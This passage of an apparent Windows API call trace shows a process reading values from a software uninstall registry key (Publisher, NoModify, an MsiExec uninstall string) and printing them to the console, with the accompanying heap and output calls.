returned 0xc4bb0 [0147.440] GetFileType (hFile=0x50) returned 0x1 [0147.440] lstrlenW (lpString="REG_EXPAND_SZ") returned 13 [0147.440] GetConsoleOutputCP () returned 0x1b5 [0147.441] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_EXPAND_SZ", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0147.441] GetConsoleOutputCP () returned 0x1b5 [0147.441] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_EXPAND_SZ", cchWideChar=13, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_EXPAND_SZ", lpUsedDefaultChar=0x0) returned 13 [0147.441] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 13 [0147.441] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.441] __iob_func () returned 0x7fefd702a80 [0147.441] _fileno (_File=0x7fefd702ab0) returned 1 [0147.441] _errno () returned 0xc4bb0 [0147.441] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.441] _errno () returned 0xc4bb0 [0147.441] GetFileType (hFile=0x50) returned 0x1 [0147.441] lstrlenW (lpString=" ") returned 4 [0147.441] GetConsoleOutputCP () returned 0x1b5 [0147.441] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0147.441] GetConsoleOutputCP () returned 0x1b5 [0147.441] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0147.441] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0147.441] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.441] __iob_func () returned 0x7fefd702a80 [0147.441] _fileno (_File=0x7fefd702ab0) returned 1 [0147.441] _errno () returned 0xc4bb0 [0147.442] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.442] _errno () returned 0xc4bb0 [0147.442] GetFileType (hFile=0x50) returned 0x1 [0147.442] lstrlenW (lpString="MsiExec.exe /X{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}") returned 52 [0147.442] GetConsoleOutputCP () returned 0x1b5 [0147.442] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="MsiExec.exe /X{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}", cchWideChar=52, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 52 [0147.442] GetConsoleOutputCP () returned 0x1b5 [0147.442] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="MsiExec.exe /X{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}", cchWideChar=52, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MsiExec.exe /X{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}", lpUsedDefaultChar=0x0) returned 52 [0147.442] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 52 [0147.442] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.442] __iob_func () returned 0x7fefd702a80 [0147.442] _fileno (_File=0x7fefd702ab0) returned 1 [0147.442] _errno () returned 0xc4bb0 [0147.442] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.442] _errno () returned 0xc4bb0 [0147.442] GetFileType (hFile=0x50) returned 0x1 [0147.442] lstrlenW (lpString="\n") returned 1 [0147.442] GetConsoleOutputCP () returned 0x1b5 [0147.442] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0147.442] GetConsoleOutputCP () returned 0x1b5 [0147.443] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0147.443] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0147.443] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.443] GetProcessHeap () returned 0x2e0000 [0147.443] GetProcessHeap () returned 0x2e0000 [0147.443] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fd9a0) returned 1 [0147.443] GetProcessHeap () returned 0x2e0000 [0147.443] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fd9a0) returned 0x6c [0147.443] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fd9a0 | out: hHeap=0x2e0000) returned 1 [0147.443] RegEnumValueW (in: hKey=0x5c, dwIndex=0xa, lpValueName=0x2f5bc0, lpcchValueName=0x23f6d4, lpReserved=0x0, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0 | out: lpValueName="NoModify", lpcchValueName=0x23f6d4, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0) returned 0x0 [0147.443] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="NoModify", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x4) returned 0x0 [0147.443] GetProcessHeap () returned 0x2e0000 [0147.443] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0xc, Size=0x6) returned 0x2fcda0 [0147.443] GetProcessHeap () returned 0x2e0000 [0147.443] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0) returned 1 [0147.443] GetProcessHeap () returned 0x2e0000 [0147.443] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fcda0) returned 0x6 [0147.443] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="NoModify", dwFlags=0x1000ffff, pdwType=0x23f5f0, pvData=0x2fcda0, pcbData=0x23f670*=0x4 | out: pdwType=0x23f5f0*=0x4, pvData=0x2fcda0*=0x1, pcbData=0x23f670*=0x4) returned 0x0 [0147.443] __iob_func () returned 0x7fefd702a80 [0147.443] _memicmp (_Buf1=0x2fb5f0, _Buf2=0xffdd1458, _Size=0x7) returned 0 [0147.443] _vsnwprintf (in: _Buffer=0x2fbd60, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x23f580 | out: _Buffer=" ") returned 4 [0147.443] _fileno (_File=0x7fefd702ab0) returned 1 [0147.443] _errno () returned 0xc4bb0 [0147.443] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.443] _errno () returned 0xc4bb0 [0147.444] GetFileType (hFile=0x50) returned 0x1 [0147.444] lstrlenW (lpString=" ") returned 4 [0147.444] GetConsoleOutputCP () returned 0x1b5 [0147.444] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0147.444] GetConsoleOutputCP () returned 0x1b5 [0147.444] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0147.444] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0147.444] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.444] lstrlenW (lpString="NoModify") returned 8 [0147.444] __iob_func () returned 0x7fefd702a80 [0147.444] _fileno (_File=0x7fefd702ab0) returned 1 [0147.444] _errno () returned 0xc4bb0 [0147.444] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.444] _errno () returned 0xc4bb0 [0147.444] GetFileType (hFile=0x50) returned 0x1 [0147.444] lstrlenW (lpString="NoModify") returned 8 [0147.444] GetConsoleOutputCP () returned 0x1b5 [0147.444] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="NoModify", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0147.444] GetConsoleOutputCP () returned 0x1b5 [0147.445] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="NoModify", cchWideChar=8, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="NoModify", lpUsedDefaultChar=0x0) returned 8 [0147.445] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 8 [0147.445] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.445] __iob_func () returned 0x7fefd702a80 [0147.445] _fileno (_File=0x7fefd702ab0) returned 1 [0147.445] _errno () returned 0xc4bb0 [0147.445] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.445] _errno () returned 0xc4bb0 [0147.445] GetFileType (hFile=0x50) returned 0x1 [0147.445] lstrlenW (lpString=" ") returned 4 [0147.445] GetConsoleOutputCP () returned 0x1b5 [0147.445] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0147.445] GetConsoleOutputCP () returned 0x1b5 [0147.445] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0147.445] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0147.445] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.445] __iob_func () returned 0x7fefd702a80 [0147.445] _fileno (_File=0x7fefd702ab0) returned 1 [0147.445] _errno () returned 0xc4bb0 [0147.445] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.445] _errno () returned 0xc4bb0 [0147.445] GetFileType (hFile=0x50) returned 0x1 [0147.445] lstrlenW (lpString="REG_DWORD") returned 9 [0147.445] GetConsoleOutputCP () returned 0x1b5 [0147.446] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_DWORD", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0147.446] GetConsoleOutputCP () returned 0x1b5 [0147.446] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_DWORD", cchWideChar=9, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_DWORD", lpUsedDefaultChar=0x0) returned 9 [0147.446] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 9 [0147.446] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.446] __iob_func () returned 0x7fefd702a80 [0147.446] _fileno (_File=0x7fefd702ab0) returned 1 [0147.446] _errno () returned 0xc4bb0 [0147.446] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.446] _errno () returned 0xc4bb0 [0147.446] GetFileType (hFile=0x50) returned 0x1 [0147.446] lstrlenW (lpString=" ") returned 4 [0147.446] GetConsoleOutputCP () returned 0x1b5 [0147.446] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0147.446] GetConsoleOutputCP () returned 0x1b5 [0147.446] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0147.446] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0147.446] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.446] __iob_func () returned 0x7fefd702a80 [0147.447] _memicmp (_Buf1=0x2fb5f0, _Buf2=0xffdd1458, _Size=0x7) returned 0 [0147.447] _vsnwprintf (in: _Buffer=0x2fbd60, _BufferCount=0x7ff, _Format="0x%x", _ArgList=0x23f580 | out: _Buffer="0x1") returned 3 [0147.447] _fileno (_File=0x7fefd702ab0) returned 1 [0147.447] _errno () returned 0xc4bb0 [0147.447] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.447] _errno () returned 0xc4bb0 [0147.447] GetFileType (hFile=0x50) returned 0x1 [0147.447] lstrlenW (lpString="0x1") returned 3 [0147.447] GetConsoleOutputCP () returned 0x1b5 [0147.447] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="0x1", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0147.447] GetConsoleOutputCP () returned 0x1b5 [0147.447] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="0x1", cchWideChar=3, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="0x1", lpUsedDefaultChar=0x0) returned 3 [0147.447] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 3 [0147.447] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.447] __iob_func () returned 0x7fefd702a80 [0147.447] _fileno (_File=0x7fefd702ab0) returned 1 [0147.447] _errno () returned 0xc4bb0 [0147.447] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.447] _errno () returned 0xc4bb0 [0147.447] GetFileType (hFile=0x50) returned 0x1 [0147.447] lstrlenW (lpString="\n") returned 1 [0147.447] GetConsoleOutputCP () returned 0x1b5 [0147.447] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0147.448] GetConsoleOutputCP () returned 0x1b5 [0147.448] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0147.448] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0147.448] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.448] GetProcessHeap () returned 0x2e0000 [0147.448] GetProcessHeap () returned 0x2e0000 [0147.448] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0) returned 1 [0147.448] GetProcessHeap () returned 0x2e0000 [0147.448] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fcda0) returned 0x6 [0147.448] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0 | out: hHeap=0x2e0000) returned 1 [0147.448] RegEnumValueW (in: hKey=0x5c, dwIndex=0xb, lpValueName=0x2f5bc0, lpcchValueName=0x23f6d4, lpReserved=0x0, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0 | out: lpValueName="Publisher", lpcchValueName=0x23f6d4, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0) returned 0x0 [0147.448] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="Publisher", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x2e) returned 0x0 [0147.448] GetProcessHeap () returned 0x2e0000 [0147.448] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0xc, Size=0x30) returned 0x2f7890 [0147.448] GetProcessHeap () returned 0x2e0000 [0147.448] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2f7890) returned 1 [0147.448] GetProcessHeap () returned 0x2e0000 [0147.448] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2f7890) returned 0x30 [0147.448] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="Publisher", dwFlags=0x1000ffff, pdwType=0x23f5f0, pvData=0x2f7890, pcbData=0x23f670*=0x2e | out: pdwType=0x23f5f0*=0x1, pvData="Microsoft Corporation", pcbData=0x23f670*=0x2c) returned 0x0 [0147.448] __iob_func () returned 0x7fefd702a80 [0147.448] _memicmp (_Buf1=0x2fb5f0, _Buf2=0xffdd1458, _Size=0x7) returned 0 [0147.448] _vsnwprintf (in: _Buffer=0x2fbd60, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x23f580 | out: _Buffer=" ") returned 4 [0147.448] _fileno (_File=0x7fefd702ab0) returned 1 [0147.448] _errno () returned 0xc4bb0 [0147.448] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.448] _errno () returned 0xc4bb0 [0147.448] GetFileType (hFile=0x50) returned 0x1 [0147.448] lstrlenW (lpString=" ") returned 4 [0147.448] GetConsoleOutputCP () returned 0x1b5 [0147.449] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0147.449] GetConsoleOutputCP () returned 0x1b5 [0147.449] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0147.449] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0147.449] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.449] lstrlenW (lpString="Publisher") returned 9 [0147.449] __iob_func () returned 0x7fefd702a80 [0147.449] _fileno (_File=0x7fefd702ab0) returned 1 [0147.449] _errno () returned 0xc4bb0 [0147.449] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.449] _errno () returned 0xc4bb0 [0147.449] GetFileType (hFile=0x50) returned 0x1 [0147.449] lstrlenW (lpString="Publisher") returned 9 [0147.449] GetConsoleOutputCP () returned 0x1b5 [0147.449] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Publisher", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0147.449] GetConsoleOutputCP () returned 0x1b5 [0147.449] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Publisher", cchWideChar=9, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Publisher", lpUsedDefaultChar=0x0) returned 9 [0147.449] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 9 [0147.449] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.450] __iob_func () returned 0x7fefd702a80 [0147.450] _fileno (_File=0x7fefd702ab0) returned 1 [0147.450] _errno () returned 0xc4bb0 [0147.450] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.450] _errno () returned 0xc4bb0 [0147.450] GetFileType (hFile=0x50) returned 0x1 [0147.450] lstrlenW (lpString=" ") returned 4 [0147.450] GetConsoleOutputCP () returned 0x1b5 [0147.450] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0147.450] GetConsoleOutputCP () returned 0x1b5 [0147.450] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0147.450] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0147.450] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.450] __iob_func () returned 0x7fefd702a80 [0147.450] _fileno (_File=0x7fefd702ab0) returned 1 [0147.450] _errno () returned 0xc4bb0 [0147.450] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.450] _errno () returned 0xc4bb0 [0147.450] GetFileType (hFile=0x50) returned 0x1 [0147.450] lstrlenW (lpString="REG_SZ") returned 6 [0147.450] GetConsoleOutputCP () returned 0x1b5 [0147.450] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0147.451] GetConsoleOutputCP () returned 0x1b5 [0147.451] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_SZ", lpUsedDefaultChar=0x0) returned 6 [0147.451] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 6 [0147.451] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.451] __iob_func () returned 0x7fefd702a80 [0147.451] _fileno (_File=0x7fefd702ab0) returned 1 [0147.451] _errno () returned 0xc4bb0 [0147.451] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.451] _errno () returned 0xc4bb0 [0147.451] GetFileType (hFile=0x50) returned 0x1 [0147.451] lstrlenW (lpString=" ") returned 4 [0147.451] GetConsoleOutputCP () returned 0x1b5 [0147.451] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0147.451] GetConsoleOutputCP () returned 0x1b5 [0147.451] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0147.451] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0147.451] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.451] __iob_func () returned 0x7fefd702a80 [0147.451] _fileno (_File=0x7fefd702ab0) returned 1 [0147.451] _errno () returned 0xc4bb0 [0147.451] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.451] _errno () returned 0xc4bb0 [0147.451] GetFileType (hFile=0x50) returned 0x1 [0147.451] lstrlenW (lpString="Microsoft Corporation") returned 21 [0147.452] GetConsoleOutputCP () returned 0x1b5 [0147.452] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Microsoft Corporation", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0147.452] GetConsoleOutputCP () returned 0x1b5 [0147.452] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Microsoft Corporation", cchWideChar=21, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Microsoft Corporation", lpUsedDefaultChar=0x0) returned 21 [0147.452] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 21 [0147.452] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.452] __iob_func () returned 0x7fefd702a80 [0147.452] _fileno (_File=0x7fefd702ab0) returned 1 [0147.452] _errno () returned 0xc4bb0 [0147.452] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.452] _errno () returned 0xc4bb0 [0147.452] GetFileType (hFile=0x50) returned 0x1 [0147.452] lstrlenW (lpString="\n") returned 1 [0147.452] GetConsoleOutputCP () returned 0x1b5 [0147.452] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0147.452] GetConsoleOutputCP () returned 0x1b5 [0147.452] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0147.452] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0147.452] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.453] GetProcessHeap () returned 0x2e0000 [0147.453] GetProcessHeap () returned 0x2e0000 [0147.453] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2f7890) returned 1 [0147.453] GetProcessHeap () returned 0x2e0000 [0147.453] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2f7890) returned 0x30 [0147.453] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2f7890 | out: hHeap=0x2e0000) returned 1 [0147.453] RegEnumValueW (in: hKey=0x5c, dwIndex=0xc, lpValueName=0x2f5bc0, lpcchValueName=0x23f6d4, lpReserved=0x0, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0 | out: lpValueName="Readme", lpcchValueName=0x23f6d4, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0) returned 0x0 [0147.453] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="Readme", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x4) returned 0x0 [0147.453] GetProcessHeap () returned 0x2e0000 [0147.453] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0xc, Size=0x6) returned 0x2fcda0 [0147.453] GetProcessHeap () returned 0x2e0000 [0147.453] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0) returned 1 [0147.453] GetProcessHeap () returned 0x2e0000 [0147.453] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fcda0) returned 0x6 [0147.453] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, 